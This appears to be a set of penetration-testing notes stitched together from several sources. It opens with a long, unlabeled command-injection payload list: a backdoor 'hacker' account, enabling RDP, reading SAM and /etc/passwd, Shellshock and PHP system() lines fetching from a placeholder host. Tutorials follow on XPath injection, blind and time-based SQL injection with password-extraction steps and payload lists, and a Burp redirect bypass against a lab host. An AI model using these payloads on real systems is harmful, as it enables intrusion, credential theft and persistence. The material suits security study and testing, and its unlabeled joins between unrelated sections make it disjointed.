; net user hacker Password1 /ADD

& net user hacker Password1 /ADD

&& net user hacker Password1 /ADD

net user hacker Password1 /ADD

| net view

; net view

& net view

&& net view

net view

\nid|

\nid;

\nid\n

\n/usr/bin/id\n

perl -e 'print "X"x1024'

|| perl -e 'print "X"x16096'

| perl -e 'print "X"x16096'

; perl -e 'print "X"x16096'

& perl -e 'print "X"x16096'

&& perl -e 'print "X"x16096'

perl -e 'print "X"x16384'

; perl -e 'print "X"x2048'

& perl -e 'print "X"x2048'

&& perl -e 'print "X"x2048'

perl -e 'print "X"x2048'

|| perl -e 'print "X"x4096'

| perl -e 'print "X"x4096'

; perl -e 'print "X"x4096'

& perl -e 'print "X"x4096'

&& perl -e 'print "X"x4096'

perl -e 'print "X"x4096'

|| perl -e 'print "X"x8096'

| perl -e 'print "X"x8096'

; perl -e 'print "X"x8096'

&& perl -e 'print "X"x8096'

perl -e 'print "X"x8192'

perl -e 'print "X"x81920'

|| phpinfo()

| phpinfo()

{${phpinfo()}}

;phpinfo()

;phpinfo();//

';phpinfo();//

{${phpinfo()}}

& phpinfo()

&& phpinfo()

phpinfo()

phpinfo();

<?php system("cat /etc/passwd");?>

<?php system("curl https://example.com/.testing/rce_vuln.txt?method=phpsystem_get");?>

<?php system("curl https://example.com/.testing/rce_vuln.txt?req=df2fkjj");?>

<?php system("echo something");?>

<?php system("sleep 10");?>

<?php system("sleep 5");?>

<?php system("wget https://example.com/.testing/rce_vuln.txt?method=phpsystem_get");?>

<?php system("wget https://example.com/.testing/rce_vuln.txt?req=jdfj2jc");?>

:phpversion();

`ping 127.0.0.1`

& ping -i 30 127.0.0.1 &

& ping -n 30 127.0.0.1 &

;${@print(md5(RCEVulnerable))};

${@print("RCEVulnerable")}

${@print(system($_SERVER['HTTP_USER_AGENT']))}

pwd

| pwd

; pwd

& pwd

&& pwd

\r

| reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

; reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

& reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

&& reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

\r\n

route

| sleep 1

; sleep 1

& sleep 1

&& sleep 1

sleep 1

|| sleep 10

| sleep 10

; sleep 10

{${sleep(10)}}

& sleep 10

&& sleep 10

sleep 10

|| sleep 15

| sleep 15

; sleep 15

& sleep 15

&& sleep 15

{${sleep(20)}}

{${sleep(20)}}

{${sleep(3)}}

{${sleep(3)}}

| sleep 5

; sleep 5

& sleep 5

&& sleep 5

sleep 5

{${sleep(hexdec(dechex(20)))}}

{${sleep(hexdec(dechex(20)))}}

sysinfo

| sysinfo

; sysinfo

& sysinfo

&& sysinfo

;system('cat%20/etc/passwd')

system('cat C:\boot.ini');

system('cat config.php');

system('cat /etc/passwd');

|| system('curl https://example.com/.testing/rce_vuln.txt');

| system('curl https://example.com/.testing/rce_vuln.txt');

; system('curl https://example.com/.testing/rce_vuln.txt');

& system('curl https://example.com/.testing/rce_vuln.txt');

&& system('curl https://example.com/.testing/rce_vuln.txt');

system('curl https://example.com/.testing/rce_vuln.txt')

system('curl https://example.com/.testing/rce_vuln.txt?req=22fd2wdf')

system('curl https://example.com/.testing/rce_vuln.txt');

system('echo something')

systeminfo

| systeminfo

; systeminfo

& systeminfo

&& systeminfo

system('ls')

system('pwd')

system('pwd');

|| system('sleep 5');

| system('sleep 5');

; system('sleep 5');

& system('sleep 5');

&& system('sleep 5');

system('sleep 5')

system('sleep 5');

system('wget https://example.com/.testing/rce_vuln.txt?req=22fd2w23')

system('wget https://example.com/.testing/rce_vuln.txt');

system('whoami')

system('whoami');

test*; ls -lhtR /var/www/

test* || perl -e 'print "X"x16096'

test* | perl -e 'print "X"x16096'

test* & perl -e 'print "X"x16096'

test* && perl -e 'print "X"x16096'

test*; perl -e 'print "X"x16096'

$(`type C:\boot.ini`)

&&type C:\\boot.ini

| type C:\Windows\repair\SAM

; type C:\Windows\repair\SAM

& type C:\Windows\repair\SAM

&& type C:\Windows\repair\SAM

type C:\Windows\repair\SAM

| type C:\Windows\repair\SYSTEM

; type C:\Windows\repair\SYSTEM

& type C:\Windows\repair\SYSTEM

&& type C:\Windows\repair\SYSTEM

type C:\Windows\repair\SYSTEM

| type C:\WINNT\repair\SAM

; type C:\WINNT\repair\SAM

& type C:\WINNT\repair\SAM

&& type C:\WINNT\repair\SAM

type C:\WINNT\repair\SAM

type C:\WINNT\repair\SYSTEM

| type %SYSTEMROOT%\repair\SAM

; type %SYSTEMROOT%\repair\SAM

& type %SYSTEMROOT%\repair\SAM

&& type %SYSTEMROOT%\repair\SAM

type %SYSTEMROOT%\repair\SAM

| type %SYSTEMROOT%\repair\SYSTEM

; type %SYSTEMROOT%\repair\SYSTEM

& type %SYSTEMROOT%\repair\SYSTEM

&& type %SYSTEMROOT%\repair\SYSTEM

type %SYSTEMROOT%\repair\SYSTEM

uname

;uname;

| uname -a

; uname -a

& uname -a

&& uname -a

uname -a

|/usr/bin/id

;|/usr/bin/id|

;/usr/bin/id|

$;/usr/bin/id

() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://[Web IP]/.testing/shellshock.txt?vuln=13;curl http://[Web IP]/.testing/shellshock.txt?vuln=15;\");'

() { :;}; wget http://[Web IP]/.testing/shellshock.txt?vuln=11

| wget http://example.com/.testing/rce.txt

& wget http://example.com/.testing/rce.txt

; wget https://example.com/.testing/rce_vuln.txt

$(`wget https://example.com/.testing/rce_vuln.txt`)

&& wget https://example.com/.testing/rce_vuln.txt

wget https://example.com/.testing/rce_vuln.txt

$(`wget https://example.com/.testing/rce_vuln.txt?req=22jjffjbn`)

which curl

which gcc

which nc

which netcat

which perl

which python

which wget

whoami

| whoami

; whoami

' whoami

' || whoami

' & whoami

' && whoami

'; whoami

" whoami

" || whoami

" | whoami

" & whoami

" && whoami

"; whoami

$(`whoami`)

& whoami

&& whoami

{{ get_user_file("C:\boot.ini") }}

{{ get_user_file("/etc/hosts") }}

{{ get_user_file("/etc/passwd") }}

{{4+4}}

{{4+8}}

{{person.secret}}

{{person.name}}

{1} + {1}

{% For c in [1,2,3]%} {{c, c, c}} {% endfor%}

{{[] .__ Class __.__ base __.__ subclasses __ ()}}

 

Basic XPath Injection

XPath Injection attacks occur when a web site uses user-supplied information to construct an XPath query for XML data XPath is a standard language. When using XML for a web site it is common to accept some form of input on the query string to identify the content to locate and display on the page.

By sending intentionally malformed information into the web site, an attacker can find out how the XML data is structured, or access data that he may not normally have access to.

Querying XML is done with XPath, a type of simple descriptive statement that allows the XML query to locate a piece of information.

This input must be sanitized to verify that it doesn’t mess up the XPath query and return the wrong data. No access controls can be implemented within the XML document. Consequently, the entire XML document can be read out in the event of an XPath injection.

https://owasp.org/www-community/attacks/XPATH_Injection

What is XPATH?

XPath is a major element in the XSLT standard. XPath can be used to navigate through elements and attributes in an XML document.

display of the XML document as a tree

Based on the image above, we describe each level within the XML sample in the following table.

XPath query

Result of the XPath query

/accounts

The root node accounts are selected.

//user

All nodes with the name ‘user’ are selected.

/accounts/user

All user nodes that are child nodes of the accounts node are selected.

/accounts/user[username=‘1337h4×0r’]

The user node that includes the user name 1337h4×0r is returned. An absolute path starts with /.

//user[email=‘john@company.com’]

The user node that includes the e-mail address john@company.com is returned. A relative path starts with //. This selects all nodes that meet the condition(s) set, no matter where in the tree the nodes are located.

/accounts/child::node()

This selects all child nodes of the accounts node.

//user[position()=2]

This selects the user node at this position. Warning: Since the index starts at 1, this selects the node of the user johnnynormal.

XPATH Example

https://www.freeformatter.com/xpath-tester.html

<?xml version="1.0" encoding="UTF-8"?>

<accounts>

<user category="user1">

<username>vry4n</username >

<firstname>Bryan</firstname >

<lastname>Unknown</lastname>

<email>notyourbusiness@vk9-sec.com</email>

<accounttype>administrator</accounttype>

<password>admin123</password>

</user>

<user category="user2">

<username>iuchicha</username>

<firstname>Itachi</firstname>

<lastname>Uchiha</lastname>

<email>iuchiha@vk9-sec.com</email>

<accounttype>guest</accounttype>

<password>admin123</password>

</user>

<system category="sys1">

<os>windows</os >

<hostname>win.vk9-sec.com</hostname>

<version>Windows Server 2008</version>

<status>Online</status>

</system>

<system category="sys2">

<os>linux</os >

<hostname>lin.vk9-sec.com</hostname>

<version>Ubuntu Server</version>

<status>Offline</status>

</system>

</accounts>

Basic queries

https://metacpan.org/release/XML-XPath

1. Select the root node “accounts”, and print the child contents, notice that only one element is returned with whole data

  • /accounts

2. Make a selection per child node, now, we have 2 elements printed

  • /accounts/user
  • //user

  • /accounts/system
  • //system

Child node content filter

  • /accounts/user/email

Filtering Queries

Select a child node that has vry4n as username

  • /accounts/user[username="vry4n"]
  • //user[username="vry4n"]

Select a child node that has windows as os

  • /accounts/system[os="windows"]
  • //system[os="windows"]

Print sys1 attribute category data, within system child node

  • /accounts/system[@category="sys1"]
  • //system[@category="sys1"]

Example 2

  • /accounts/user[attribute::category="user2"]
  • //user[attribute::category="user2"]

Select all child nodes, under accounts root node

  • /accounts/child::node()

Filter child nodes, within user nodes

  • /accounts/user/child::node()
  • //user/child::node()

Filter child nodes, within user nodes

  • /accounts/child::system()
  • //child::system()

filter a specific user child node

  • /accounts/user[username="vry4n"]/child::node()
  • //user[username="vry4n"]/child::node()

Filter by position

  • /accounts/user[position()=2]
  • //user[position()=2]

Filter by position

  • /accounts/user[2]
  • //user[2]

Filter by last position

  • /accounts/system[last()]
  • //system[last()]

Some Functions

Count

1. Counting the nodes in root or child nodes

in this case the result is 2 “user1”,”user2”

count(query,query)

  • count(//user)
  • count(/accounts/user)

String-length

Returns the length of a specified string

string-length(query)

  • string-length(/accounts/user[1]/email)

Substring

Returns the substring from start to the specified length. First character is 1. Email is <email>notyourbusiness@vk9-sec.com</email>

substring(query,start,len)

  • substring(/accounts/user[1]/email,1,7)

Starts-with

Returns True if string1 starts with string2, in this case the value is vry4n

  • starts-with(//user[1]/username,v)

Contains

Returns True if string1 contains string2, in this case the value is vry4n

  • contains(//user[1]/username,r)

String & number

Returns the value of the argument

  • string(//user[1]/username)

The same happens if the value is numeric, if we pass a string we get false

  • number(//user[1]/username)

Exploitation example

<Employee ID="1">

<UserName>admin</UserName>

<Password>adminpass</Password>

<Signature>g0t r00t?</Signature>

<Type>Admin</Type>

</Employee>

<Employee ID="2">

<UserName>adrian</UserName>

<Password>somepassword</Password>

<Signature>Zombie Films Rock!</Signature>

<Type>Admin</Type>

</Employee>

<Employee ID="3">

<UserName>john</UserName>

<Password>monkey</Password>

<Signature>I like the smell of confunk</Signature>

<Type>Admin</Type>

</Employee>

Example of a query that a script uses to retrieve data

In this example we have an authentication mechanism that accepts username & password

Php code

Query

  • $lXPathQueryString = "//Employee[UserName='{USERNAME}' and Password='{PASSWORD}']";

Exploitation

1. Using the regular authentication method constructs the following query

  • $lXPathQueryString = "//Employee[UserName='admin' and Password='admin']";

2. Exploiting this query we can inject a query and modify its behavior, to show the whole database

  • the first step is to insert a single quote (') in the field to be tested,
  • introducing a syntax error in the query
  • check whether the application returns an error message.

Username: admin’ or 1=1 or 'a'='a

Password: admin123

  • $lXPathQueryString = "//Employee[UserName= admin’ or 1=1 or 'a'='a' and Password='admin123']";

In this case, only the first part of the XPath needs to be true. The password part becomes irrelevant, and the UserName part will match ALL employees because of the “1=1” which is always true.

3. To show a single user results, if it exists

admin' or 'a'='a

  • $lXPathQueryString = "//Employee[UserName=’admin’ or 'a'='a' and Password='admin123']";

The password can also be text' or '1' = '1

  • $lXPathQueryString = "//Employee[UserName=’admin’ or 'a'='a' and Password=’text' or '1' = '1']";

Remediation

XPath injection attacks are much like SQL injection attacks. Most of these preventative methods are the same as well to prevent other typical code injection attacks.

  • Input Validation: It is one of the best measures to defend applications from XPATH injection attacks. The developer has to ensure that the application does accept only legitimate input.
  • Parameterization: In Parameterized queries, the queries are precompiled and instead of passing user input as expressions, parameters are passed.

Most sites have a way to store data, the most common of which is a database. However, some sites use XML to store data, and use a method of looking at the data known as XPath.

Query

  • ' or '1'='1
  • ' or ''='
  • x' or 1=1 or 'x'='y
  • /
  • //
  • //*
  • */*
  • @*
  • count(/child::node())
  • x' or name()='username' or 'x'='y
  • ' and count(/*)=1 and '1'='1
  • ' and count(/@*)=1 and '1'='1
  • ' and count(/comment())=1 and '1'='1

Blind SQL injection

Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

With blind SQL injection vulnerabilities, many techniques such as UNION attacks are not effective, because they rely on being able to see the results of the injected query within the application's responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.

It asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

https://owasp.org/www-community/attacks/Blind_SQL_Injection

Exploiting blind SQL injection by triggering conditional responses

Consider an application that uses tracking cookies to gather analytics about usage. Requests to the application include a cookie header like this:

  • Cookie: security=high; PHPSESSID=d8a9577ce8582545259d9b5a54ae1f56

When a request containing a cookie is processed, the application determines whether this is a known user using an SQL query.

This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If it returns data (because a recognized cookie was submitted), then a "Welcome back" message is displayed within the page.

This behavior is enough to be able to exploit the blind SQL injection vulnerability and retrieve information, by triggering different responses conditionally, depending on an injected condition.

TRUE and FALSE Based detection (Boolean)

If the web application is vulnerable to SQL Injection, then it probably will not return anything (or just content, no ERRORS when blind technique). To make sure, the attacker will inject a query that will return ‘true’

  • This allows us to determine the answer to any single injected condition, If the content of the page that returns ‘true’ is different than that of the page that returns ‘false’, then the attacker is able to distinguish when the executed query returns true or false.

Suppose that two requests are sent containing the following values in turn:

The first of these values will cause the query to return results, because the injected “or 1=1” condition is true, and so the content message will be displayed normally.

  • 1' or 1=1#
  • true

Whereas the second value will cause the query to not return any results, because the injected condition is false, and so the content message will not be displayed. I will print 1 since, that exists in the database

  • 1' or 1=2#
  • false

  • 1' and 1=2#
  • false

Should not display anything, as “and” operator requires both to be true 1=2 is not true

Boolean SQL injection Example

  • Substring(query,start,len): Returns a substring starting from position of the text and length. If start is greater than the length of results it returns null value
  • ASCII(char): It gives back ASCII value of the input character. 0 means null (http://www.asciitable.com/)
  • LENGTH(query): It gives back the number of character in the input text
  • LIMIT: MySQL limit of number of records

Steps

1. Find the parameter that is vulnerable (Blind/ERROR)

  • Using ‘ “ and comments (it should return an ERROR or no output)

2. Try logical (OR/AND) & concatenation (PIPE/|/+) operators within single or double quotes to understand syntax

Logical

  • blah' or 1=1 #
  • true

Concatenation

  • ad’|’min’ or 1=1#
  • true, and the valid value is accepted

3. Guest the table name (True/False)

Try the same true/false condition, but this time test if the query inside parenthesis returns 1, we limit the lines to one. Use common words to guess the table name

  • admin' and (select 1 from user limit 1)=1#
  • false (user table doesn’t exist, should return an error or nothing)

  • admin' and (select 1 from accounts limit 1)=1#
  • true (due to the table account exists, should return output normally)

4. Use SQL functions to extract data (asci/substring/length)

Use this technique to test character by character, if the output is true it should return something, otherwise, and ERROR or nothing

  • blah' or ascii(substring((select username from accounts limit 1),1,1))=97#
  • true (blah doesn’t exist, so, the other condition is executed, it matched the first entry to match “a” character ASCII 97, output is shown)

  • blah' or ascii(substring((select username from accounts limit 1),1,1))=98#
  • false (get an error or nothing, this is due to the first character is not equals to ASCII 98 which is “b” character, since it is “a”)

In order to check for the second character since, we know the first one is “a”

  • blah' or ascii(substring((select username from accounts limit 1),2,1))=100#
  • true (should return something, since the second character is “d” ASCII 100)

We can also check if a character is greater/lower/equals to, we already saw examples using equals to

  • blah' or ascii(substring((select username from accounts limit 1),2,1))<101#
  • true (checks if the second character is lower than “e” ASCII 101, in this case is true since, “d” is lower, output should return)

Break down of the query

ascii(substring((select username from accounts limit 1),1,1))=97

  • (select username from accounts limit 1) = admin
  • substring(admin,1,1)
  • asci(a)=97
  • 97=97

To know the length of the word

  • blah' or ascii(substring((select username from accounts limit 1),6,1))=0#
  • true (the word admin contains 5 characters, a character out of range would be null, ASCII 0, something should be printed, since 0=0)

TIME based

This type of blind SQL injection relies on the database pausing for a specified amount of time, then returning the results, indicating successful SQL query executing. Using a test conditional true we can execute time functions.

This technique differs from DBMS to DBMS.

The example below shows how a hacker could identify if a parameter is vulnerable to SQL injection using this technique (a slow response would mean the application uses a MySQL database).

  • 1' AND sleep(15)#

The below line will execute the SHA1() function 10000000 times in the database, which will add a significant amount of delay in response.

  • 1' AND BENCHMARK(10000000,SHA1(1337))#

MySQL

  • SLEEP(time)

Only available since MySQL 5. It takes a number of seconds to wait in parameter. More details here.

  • BENCHMARK(count, expr)
  • SELECT BENCHMARK(100000,rand())

Executes the specified expression multiple times. By using a large number as first parameter, you will be able to generate a delay. More details about the function on MySQL website.

SQL Server & MS SQL

  • WAITFOR DELAY 'hh:mm:ss'
  • Select * from products where id=1; waitfor delay ‘00:00:10’
  • WAITFOR TIME 'hh:mm:ss'
  • Select * from products where id=1; waitfor time ‘00:00:10’

PostgreSQL : AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))

Suspends the execution for the specified amount of time. For more information about this procedure consult SQL Server official documentation.

  • WAIT FOR TIME 'hh:mm:ss'

Suspends the execution of the query and continues it when system time is equal to parameter. See link above for more information.

Oracle

Time-based attacks are a more complicated in Oracle. Refer to Oracle section below for more information.

  • SLEEP(time)
  • BEGIN DBMS_LOCK.SLEEP(15);END;
  • AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE(‘[RANDSTR]’,[SLEEPTIME])

This technique relies on inference testing which is explained in this article. Simply put, by injecting a conditional time delay in the query the attacker can ask a yes/no question to the database. Depending if the condition is verified or not, the time delay will be executed and the server response will be abnormally long. This will allow the attacker to know if the condition was true or false.

Steps

1. Discover the vulnerable parameter

  • Using ‘ “ and comments (it should return an ERROR or no output), if its blind nothing out of normal should be returned

2. If the test is blind, use true false conditions to identify any anomaly (OR/AND)

  • 1’ and 1=1--
  • 1’ or 1=1/*
  • 1’ and 1=2#
  • 1’ or 1=2--+-

3. Identify the number of columns using ORDER BY, or, select statement

  • 1’ union select 1,1#
  • 1’ ORDER BY 1--

4. Once, the number of columns have been identified, we can use one of those fields to inject our time based, if the query takes more time than normal the query executed successfully

  • 1’ union select 1,BENCHMARK(100000,rand())#

Conditions

MySQL

  • IF(condition, when_true, when_false)

Only valid when using in SQL statement. In stored procedure the syntax is identic to Oracle's.

SQL Server

  • IF condition when_true [ELSE when_false]

Can only be used in stored procedure or in an independent stacked query.

Oracle

  • IF condition THEN when_true [ELSE when_false] END IF

Can only be used in PL/SQL.

In the case of time-based attacks, the attacker makes the database perform a time-intensive operation. If the web site does not return a response immediately, the web application is vulnerable to Blind SQL Injection.

  • 1' and if(1=1, sleep(10), true)#
  • 1' or if(1=1, sleep(10), true)#

  • 1' and if(1=1, sleep(10), false)#
  • 1' or if(1=1, sleep(10), true)#

The ones below don’t sleep, meaning there is a difference between the pairs, if we detect a difference in behavior, it means this is vulnerable to Blind SQL injection

  • 1' and if(1=2, sleep(10), true)#

  • 1' and if(1=2, sleep(10), false)#

Blind SQL Injections are often used to build the database schema and get all the data in the database. This is done using brute force techniques and requires many requests but may be automated by attackers using SQL Injection tools.

Hacking steps

1. Enumerate how many columns are in use, while output s displayed the condition is true

  • 1' order by 1#

  • 1' order by 2#

  • 1' order by 3#

We can say this database, has 2 columns.

2. Extracting database tables

https://mariadb.com/kb/en/information-schema-tables-table/

  • 1' union select null,table_name from information_schema.tables#

Filtering the results

  • 1' union all select 1,table_name from information_schema.tables where table_schema=database()#

Grouping the results

  • 1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

3. Extracting the column names

0x3a = separator hex of :

group_concat = grouping of output in one single line

https://mariadb.com/kb/en/information-schema-columns-table/

  • 1' union select 1,group_concat(table_name,0x3a,column_name) from information_schema.columns where table_schema=database()#

Now we know

  • Table names
  • Column names

4. Extract data

  • 1' union all select 1,group_concat(user, 0x3a,password) from users#

Guessing characters

For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. We can systematically determine the password for this user by sending a series of inputs to test the password one character at a time.

To do this, we start with the following input:

This returns the nothing in message, indicating that the injected condition is false, and so the first character of the password is not greater than m.

  • 1' UNION SELECT user,password FROM users WHERE user = 'admin' and SUBSTRING(password, 1, 1) > 'm'#

This returns the password in the message, indicating that the injected condition is true, and so the first character of the password is lower than m.

  • 1' UNION SELECT user,password FROM users WHERE user = 'admin' and SUBSTRING(password, 1, 1) < 'm'#

We can continue this process to systematically determine the full password for the Administrator user.

Note: The SUBSTRING function is called SUBSTR on some types of database.

https://www.sqlservertutorial.net/sql-server-string-functions/sql-server-substring-function/

Oracle SUBSTR('foobar', 4, 2)

Microsoft SUBSTRING('foobar', 4, 2)

PostgreSQL SUBSTRING('foobar', 4, 2)

MySQL SUBSTRING('foobar', 4, 2)

The SUBSTRING() extracts a substring with a specified length starting from a location in an input string.

The following shows the syntax of the SUBSTRING() function:

  • SUBSTRING(input_string, start, length);

Example

  • SUBSTRING('SQL Server SUBSTRING', 5, 6) result;

Result

  • Server

Generic Time Based SQL Injection Payloads

sleep(5)#

1 or sleep(5)#

" or sleep(5)#

' or sleep(5)#

" or sleep(5)="

' or sleep(5)='

1) or sleep(5)#

") or sleep(5)="

') or sleep(5)='

1)) or sleep(5)#

")) or sleep(5)="

')) or sleep(5)='

;waitfor delay '0:0:5'--

);waitfor delay '0:0:5'--

';waitfor delay '0:0:5'--

";waitfor delay '0:0:5'--

');waitfor delay '0:0:5'--

");waitfor delay '0:0:5'--

));waitfor delay '0:0:5'--

'));waitfor delay '0:0:5'--

"));waitfor delay '0:0:5'--

benchmark(10000000,MD5(1))#

1 or benchmark(10000000,MD5(1))#

" or benchmark(10000000,MD5(1))#

' or benchmark(10000000,MD5(1))#

1) or benchmark(10000000,MD5(1))#

") or benchmark(10000000,MD5(1))#

') or benchmark(10000000,MD5(1))#

1)) or benchmark(10000000,MD5(1))#

")) or benchmark(10000000,MD5(1))#

')) or benchmark(10000000,MD5(1))#

pg_sleep(5)--

1 or pg_sleep(5)--

" or pg_sleep(5)--

' or pg_sleep(5)--

1) or pg_sleep(5)--

") or pg_sleep(5)--

') or pg_sleep(5)--

1)) or pg_sleep(5)--

")) or pg_sleep(5)--

')) or pg_sleep(5)--

AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe

AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='

AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)

AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--

AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#

SLEEP(5)#

SLEEP(5)--

SLEEP(5)="

SLEEP(5)='

or SLEEP(5)

or SLEEP(5)#

or SLEEP(5)--

or SLEEP(5)="

or SLEEP(5)='

waitfor delay '00:00:05'

waitfor delay '00:00:05'--

waitfor delay '00:00:05'#

benchmark(50000000,MD5(1))

benchmark(50000000,MD5(1))--

benchmark(50000000,MD5(1))#

or benchmark(50000000,MD5(1))

or benchmark(50000000,MD5(1))--

or benchmark(50000000,MD5(1))#

pg_SLEEP(5)

pg_SLEEP(5)--

pg_SLEEP(5)#

or pg_SLEEP(5)

or pg_SLEEP(5)--

or pg_SLEEP(5)#

'\"

AnD SLEEP(5)

AnD SLEEP(5)--

AnD SLEEP(5)#

&&SLEEP(5)

&&SLEEP(5)--

&&SLEEP(5)#

' AnD SLEEP(5) ANd '1

'&&SLEEP(5)&&'1

ORDER BY SLEEP(5)

ORDER BY SLEEP(5)--

ORDER BY SLEEP(5)#

(SELECT * FROM (SELECT(SLEEP(5)))ecMj)

(SELECT * FROM (SELECT(SLEEP(5)))ecMj)#

(SELECT * FROM (SELECT(SLEEP(5)))ecMj)--

+benchmark(3200,SHA1(1))+'

+ SLEEP(10) + '

RANDOMBLOB(500000000/2)

AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))

OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))

RANDOMBLOB(1000000000/2)

AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1)

Bypass 30X redirect with BurpSuite

The HTTP response status code 302 Found is a common way of performing URL redirection.

Permanent redirections

These redirections are meant to last forever. They imply that the original URL should no longer be used, and replaced with the new one

Code Text

301 Moved Permanently

308 Permanent Redirect

Temporary redirections

Sometimes the requested resource can't be accessed from its canonical location, but it can be accessed from another place. In this case, a temporary redirect can be used.

Code Text

302 Found GET methods unchanged.

303 See Other

307 Temporary Redirect

Hacking steps

1. Trying to access http://bank.htb/, I get redirected to http://bank.htb/loging.php

  • Request

  • Response

In the response we see the following

HTTP/1.1 302 Found = 302 redirection code

location: login.php = redirection to

Indicating we will redirect to http://bank.htb/login.php

Redirection

New request

New Response

This all happens automatically. We are sent to a log in page

2. Capturing the response and filtering 30X responses to set 200 OK will let us bypass this redirection.

  • Proxy -> Options -> Intercept Server Responses -> Check box (Intercept responses…)

3. Now edit “Match and Replace” section

Now add a new rule

  • Add

Fill in the blanks

  • Type: Response header
  • Match: 30[12] Found #match either 301 or 302
  • Replace: 200 OK
  • Comment: VK9 redirection bypass
  • Check “Regex match”

  • Click OK, enable the setting by activating the checkbox

4. Now, test again

Request

Response

We are now getting a 200 OK response. We are now shown a different page and view, then the log in page